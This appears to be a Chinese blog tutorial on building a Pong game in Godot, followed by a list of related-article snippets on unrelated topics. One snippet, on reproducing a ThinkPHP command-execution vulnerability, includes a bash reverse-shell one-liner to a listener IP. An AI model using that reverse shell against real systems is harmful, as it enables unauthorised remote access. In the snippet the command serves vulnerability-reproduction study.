Godot学习笔记8——PONG游戏制作
目录
一、小球
二、地图
三、积分系统
四、玩家场景
五、导出与发布
PONG是1972年由雅达利公司推出的游戏,主要玩法为玩家控制两个可以上下移动的板子击打屏幕中不断运动的球
一、小球
我们首先创建一个“Area2D”场景,在它下方创建“CollisionShape2D”和“Sprite2D”两个子节点:
在“CollisionShape2D”中,我们把“Shape”属性设置为“圆形”,在“Sprite2D”中把“Texture”属性设置为资源中的小球图形:

之后,我们调整“CollisionShape2D”的大小,按住红色小点拖动,使其更贴合图片尺寸:

之后,我们在资源文件夹中右键新建文件夹,将小球场景保存:
完成后应该是这个样子:
接着,我们在“Area2D”上挂载一个脚本:

这里,我们让小球的位置每一帧加一个二维向量(1,0),将小球放在场景中间位置点击运行,即可看到如下结果:

可以看到小球在向右运动。
现在,我们需要让小球按任意方向移动,需要在外部添加新的变量:

这里,我们定义了一个二维向量“vec”,并给它赋值(5,5),保存运行后,小球将会向右下移动:

接下来,我们还需要为小球添加其他功能,例如当小球触碰到左右墙壁时,让小球回到屏幕中间位置:

这里,我们首先定义了一个名为“init_position”的变量用来存放小球的初始位置,在“_ready”函数中,当小球初次被加载时将小球位置记录到该变量内。同时,我们自定义了一个名为“resest()”的函数,功能是让小球的位置为初始位置。在“_process()”函数中,我们加了一个if条件判断,如果小球当前的x大于500,那么就让它回到初始位置。运行后会看到小球确实回到了初始位置:

之后,我们将if删掉,把小球放回原点(0,0)处,再次保存场景,小球场景就制作完毕了。
二、地图
在资源管理器中,我们新建一个文件夹命名为“地图”,在里面新建一个“map”场景。在场景中新建两个“ColorRect” ,一个颜色为黑色,大小为1152×648,位置在(0,0);另一个颜色为白色,大小为3×648,位置在(576,0):


为什么选取1152和648,是因为项目的屏幕大小就这样,我们可以在“项目——项目设置”里更改项目窗口大小:

接下来创建墙壁,和小球类似,我们创建一个“Area2D”,并在它之下创建子节点“CollisionShape2D” ,形状选择矩形,并调整相应位置与大小。创建好一个后按住“ctrl+D”可以快速复制节点与其子节点,将第二个墙壁也放在对应位置:

接着,我们来为墙壁挂载脚本。
首先,我们需要在小球脚本内的“_ready”函数中加一句:
self.add_to_group("Ball")
在小球被加载时,将会把小球加入到一个名为“Ball”的组内。
之后,在墙壁挂载如下内容:

在“_process”函数中,我们用for来遍历“get_overlapping_areas()”函数返回的内容,按住“ctrl”单击函数即可查看对应内容:

简单来说,对于每一个进入墙壁判定框的Area2D节点,我们都会判断其是否属于“Ball”组,如果属于,则调用自身的复位函数,使其回到屏幕中央。
为两个墙壁都挂载相同脚本,点击场景栏左上角链接按钮实例化场景,将小球场景添加进来,并调整位置至屏幕中间,点击运行:


可以看到小球在触碰到左右墙壁后可以正常复位。
接着我们来创建上下墙壁,基本方法与左右墙壁一致:

我们为上下墙壁挂载脚本:

这里没什么好讲的,当触碰到以后就让小球的速度加一个y方向的5,使小球向下移动。在脚本前面我们定义了一个变量y,并使用“@export”使其能在属性栏显示,我们可以看到上墙壁的属性栏多了一个来自“上墙壁.gd”的可调节项“Y”。我们为下墙壁也挂载相同的脚本,并将该值设置为-5。
三、积分系统
在资源文件夹内创建一个名为“积分系统”的文件夹,在里面创建一个脚本:

并使用上节讲过的知识创建单例:

之后,我们打开小球脚本加入如下代码:

这样,在每次调用复位函数时,可以判断小球是从哪个方向飞入墙壁的,从而更改计数的值。
接着,我们创建一个文件夹,并在里面创建一个积分场景。添加两个“Label”节点,调整到合适位置,并添加如下脚本:

另一个显示玩家2的分数,“score1”改为“score2”即可。
接着,用和小球场景相同的方法把积分场景也加载到地图场景中:
点击运行,即可看到如下内容:

但可以看到,在小球碰到墙壁反弹时,计分板不止加了一分,这是因为在编写左右墙壁脚本时,我们的加分判断没有放在物理处理帧率中,而是放在了画面刷新帧率。要解决这个问题,我们只需要将“_process”中的代码复制粘贴到“_physics_process”中即可:

再次运行,可以看到积分系统恢复正常了。
四、玩家场景
首先,我们先来添加玩家的键位映射:

之后,与创建小球时一致,创建玩家1的反弹杆:

之后,在“Area2D”中挂载如下脚本:

另一个玩家的脚本与此大抵相同,只不过与球碰撞时给予的加速度为-3。
在这里,为了防止球拍出界,我们设定了一个-324到324的范围,只有在这个范围里面移动才会被加入坐标。
之后,与小球场景类似,将玩家1与玩家2的场景加载到地图场景中,适当调整位置:

到这里,游戏就已经基本完成了。
五、导出与发布
点击“项目——导出”,添加Windows模板,这里会提示缺少导出模板,我们点击报错信息的管理模板,下载模板即可:

不过,现在我在这里无法下载到导出模板,并且找不到解决办法,唯一的途径就是手动下载:

下载红线划住的即可。

下载好后,点击从文件安装,选择刚才下载好的文件即可。


导出成功后,即可看到文件夹里的.exe文件和.pck文件。运行时要保证两个文件处于同一路径下,否则会报错。
相关文章:
Godot学习笔记8——PONG游戏制作
目录 一、小球 二、地图 三、积分系统 四、玩家场景 五、导出与发布 PONG是1972年由雅达利公司推出的游戏,主要玩法为玩家控制两个可以上下移动的板子击打屏幕中不断运动的球 一、小球 我们首先创建一个“Area2D”场景,在它下方创建“Collisi…...
软件RAID配置实战(2个案例场景)
文章目录 3、软件RAID管理-mdadm工具安装mdadm组件格式示例选项说明mdadm命令其它常用选项 4、相关查询命令查看创建RAID的进度查看RAID磁盘详细信息查看文件系统的磁盘空间使用情况 5、RAID配置示例场景1:RAID5步骤 场景2:RAID10步骤 6、移除RAID阵列 接…...
# 基于MongoDB实现商品管理系统(2)
基于MongoDB实现商品管理系统(2) 基于 mongodb 实现商品管理系统之准备工作 1、案例需求 这里使用的不是前端页面,而是控制台来完成的。 具体的需求如下所示: 运行 查询所有 通过id查询详情 添加 - 通过id删除 2、案例分析 程…...
国标GB28181视频平台LntonCVS视频融合共享平台视频汇聚应用方案
近年来,国内视频监控应用迅猛发展,系统接入规模不断扩大,导致了大量平台提供商的涌现。然而,不同平台的接入协议千差万别,使得终端制造商不得不为每款设备维护多个不同平台的软件版本,造成了资源的严重浪费…...
java基础I/O
1,I/O流的概念: IO流代表的是一个数据输入的源或者输出的目标地址,可以是硬盘,内存,网络或者什么其他的电子设备,而IO流的类型也很多比如最简单的字节或者字符,或者其他更高级的对象。 不管它有多少特性&am…...
关于“八股文”在程序员面试中的角色及其对工作实际效用的讨论
关于“八股文”在程序员面试中的角色及其对工作实际效用的讨论,确实是一个值得深入探讨的话题。这里,“八股文”通常指的是面试中常见的一系列标准化问题和答案,涵盖了编程语言基础、算法、数据结构、设计模式、框架知识等,这些内…...
【算法设计题】基于front、rear和count的循环队列初始化、入队和出队操作,第6题(C/C++)
目录 第3题 基于front、rear和count的循环队列初始化、入队和出队操作 得分点(必背) 题解:基于front、rear和count的循环队列初始化、入队和出队操作 数据结构定义 代码解答 详细解释 1. 循环队列初始化 2. 循环队列入队 3. 循环队列…...
端点区间影响
前言:这一题本来想就是直接来一个前缀和来写,直接左边加一,右边减一,但是细想好像有问题,我们平时做的题目左边端点造成的影响会对这一段区间造成影响,但是这一题的话超过了左边端点就不会有影响了 那这一题…...
Leetcode3224. 使差值相等的最少数组改动次数
Every day a Leetcode 题目来源:3224. 使差值相等的最少数组改动次数 解法1: 想一想,什么情况下答案是 0?什么情况下答案是 1? 如果答案是 0,意味着所有 ∣nums[i]−nums[n−1−i]∣ 都等于同一个数 X。…...
thinkphp之命令执行漏洞复现
实战: fofa搜索thinkphp-- 第一步:先在dns平台上,点击Get SubDomain ,监控我们的注入效果 返回dnslog查看到了Java的版本信息 打开kali监听端口 进行base64编码 bash -i >& /dev/tcp/192.168.189.150/8080 0>&1 …...
算法板子:匈牙利算法——二分图的最大匹配
目录 1. 基础概念 (1)二分图的概念 (2) 匈牙利算法的作用 2. 代码 1. 基础概念 (1)二分图的概念 顶点集 V 分为两个集合,且图中每条边依附的两个顶点都分属于这两个子集,也就是第…...
轻松拯救数据危机!四大必备的数据恢复软件免费版推荐!
不论是珍贵的家庭照片、重要的工作文档还是个人的私密信息,一旦丢失,后果不堪设想。今天,给大家介绍四款强大的数据恢复大师免费版,帮助大家在数据丢失时挽回损失。 Foxit数据恢复大师 点此免费下载:www.pdf365.cn/f…...
windbg常用命令
1. 基本调试命令 1.1启动和附加 windbg -pn : 按进程名称启动调试。 windbg -p : 按进程 ID 启动调试。 1.2 控制执行 g: 继续执行程序。 p: 单步执行,不进入函数。 t: 单步执行,进入函数。 bp <Address>: 在指定地址设置断点。 bl: 列出所有断…...
Ubuntu(20.04 LTS)更换镜像源
此换镜像源方法只适用x86_64架构的系统,其他架构的系统参考ubuntu-ports的方法 1、备份文件 sudo mv /etc/apt/sources.list /etc/apt/sources.list.bk2、创建新文件 sudo vi /etc/apt/sources.list根据自己系统版本选择下面对应的镜像源添加到新文件中…...
golang使用 copier对象复制时进行类型转化
问题描述 在后端我们经常会在 entity 和 view 之间进行复制转换为可以发送给前端的数据 比如 time 对象在下送的时候,我们希望能显示经过格式化过的目标字符串格式,这里我们可以使用自定义的 converter,主要是定义 src 和 dst 类型…...
英特尔18A制程技术分析解读
#### 引言 尽管第二季度净亏损16亿美元以及大规模裁员计划引发了一些担忧,英特尔还是在8月6日宣布了其下一代18A制程技术取得重大里程碑的消息,并计划在2025年开始生产。 #### 技术进展 - **里程碑**:英特尔表示,这一里程碑是在…...
【百度面试算法题】2024-08-02
部门项目实际上也涉及到多种语言,有没有意愿去学习其他语言?你是如何利用数据结构来做技术的/项目中是如何解决高并发的?(没听懂问题…就直接开始介绍项目了…后来被打断说不进行发散了,开始问八股)说一下单…...
OSPF基础
目录 一、路由分类 1.直连路由 2.非直连路由 二、OSPF概述 1.什么是OSPF 2.OSPF的特点 3.OSPF的区域划分 1.划分区域的意义 2.区域的划分 三、OSPF 消息数据包 1.数据包的类型 2.Hello包 2.DBD包 3.LSR包 4.LSU 5.LSACK 四、OSPF 邻居状态机制 1.邻居关…...
leetcode 958.二叉树的完全性检验
1.题目要求: 给你一棵二叉树的根节点 root ,请你判断这棵树是否是一棵 完全二叉树 。在一棵 完全二叉树 中,除了最后一层外,所有层都被完全填满,并且最后一层中的所有节点都尽可能靠左。最后一层(第 h 层)…...
Spring 中请求作用域的数据存储在 ThreadLocal 中还是 Spring 容器中?
微信中阅读,欢迎👏👏👏关注公众号:CodeFit 。 创作不易,如果你觉得这篇文章对您有帮助,请不要忘了 点赞、分享 和 关注,为我的 持续创作 提供 动力! 最近看到一个有趣的问题,Request Scope(请求作用域) 的数据是存储在 ThreadLocal 中,还是 Spring 容器中? 事…...
未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?
编辑:陈萍萍的公主一点人工一点智能 未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?RWM通过双自回归机制有效解决了复合误差、部分可观测性和随机动力学等关键挑战,在不依赖领域特定归纳偏见的条件下实现了卓越的预测准…...
【Linux】shell脚本忽略错误继续执行
在 shell 脚本中,可以使用 set -e 命令来设置脚本在遇到错误时退出执行。如果你希望脚本忽略错误并继续执行,可以在脚本开头添加 set e 命令来取消该设置。 举例1 #!/bin/bash# 取消 set -e 的设置 set e# 执行命令,并忽略错误 rm somefile…...
YSYX学习记录(八)
C语言,练习0: 先创建一个文件夹,我用的是物理机: 安装build-essential 练习1: 我注释掉了 #include <stdio.h> 出现下面错误 在你的文本编辑器中打开ex1文件,随机修改或删除一部分,之后…...
Neo4j 集群管理:原理、技术与最佳实践深度解析
Neo4j 的集群技术是其企业级高可用性、可扩展性和容错能力的核心。通过深入分析官方文档,本文将系统阐述其集群管理的核心原理、关键技术、实用技巧和行业最佳实践。 Neo4j 的 Causal Clustering 架构提供了一个强大而灵活的基石,用于构建高可用、可扩展且一致的图数据库服务…...
TRS收益互换:跨境资本流动的金融创新工具与系统化解决方案
一、TRS收益互换的本质与业务逻辑 (一)概念解析 TRS(Total Return Swap)收益互换是一种金融衍生工具,指交易双方约定在未来一定期限内,基于特定资产或指数的表现进行现金流交换的协议。其核心特征包括&am…...
多种风格导航菜单 HTML 实现(附源码)
下面我将为您展示 6 种不同风格的导航菜单实现,每种都包含完整 HTML、CSS 和 JavaScript 代码。 1. 简约水平导航栏 <!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><meta name"viewport&qu…...
华为云Flexus+DeepSeek征文|DeepSeek-V3/R1 商用服务开通全流程与本地部署搭建
华为云FlexusDeepSeek征文|DeepSeek-V3/R1 商用服务开通全流程与本地部署搭建 前言 如今大模型其性能出色,华为云 ModelArts Studio_MaaS大模型即服务平台华为云内置了大模型,能助力我们轻松驾驭 DeepSeek-V3/R1,本文中将分享如何…...
Netty从入门到进阶(二)
二、Netty入门 1. 概述 1.1 Netty是什么 Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers & clients. Netty是一个异步的、基于事件驱动的网络应用框架,用于…...
Web后端基础(基础知识)
BS架构:Browser/Server,浏览器/服务器架构模式。客户端只需要浏览器,应用程序的逻辑和数据都存储在服务端。 优点:维护方便缺点:体验一般 CS架构:Client/Server,客户端/服务器架构模式。需要单独…...
Linux部署私有文件管理系统MinIO
最近需要用到一个文件管理服务,但是又不想花钱,所以就想着自己搭建一个,刚好我们用的一个开源框架已经集成了MinIO,所以就选了这个 我这边对文件服务性能要求不是太高,单机版就可以 安装非常简单,几个命令就…...
